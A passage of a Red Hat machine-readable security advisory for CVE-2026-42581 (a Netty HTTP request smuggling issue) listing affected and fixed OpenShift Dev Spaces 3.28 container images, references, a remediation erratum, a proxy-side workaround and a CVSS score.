"fixed": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x"
],
"known_not_affected": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42581"
},
{
"category": "external",
"summary": "RHBZ#2477232",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477232"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42581",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42581"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9",
"url": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9"
}
],
"release_date": "2026-05-13T17:54:44.492000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T19:42:14+00:00",
"details": "Before applying this update, make sure all previously released errata relevant to your system have been applied.\nFor details on how to apply this update, refer to:\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:25123"
},
{
"category": "workaround",
"details": "To mitigate this issue, configure any reverse proxies or load balancers in front of Netty to either reject HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers, or to explicitly prioritize the Transfer-Encoding header over Content-Length for HTTP/1.0 traffic. This ensures consistent interpretation of message boundaries and prevents request smuggling attacks.",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
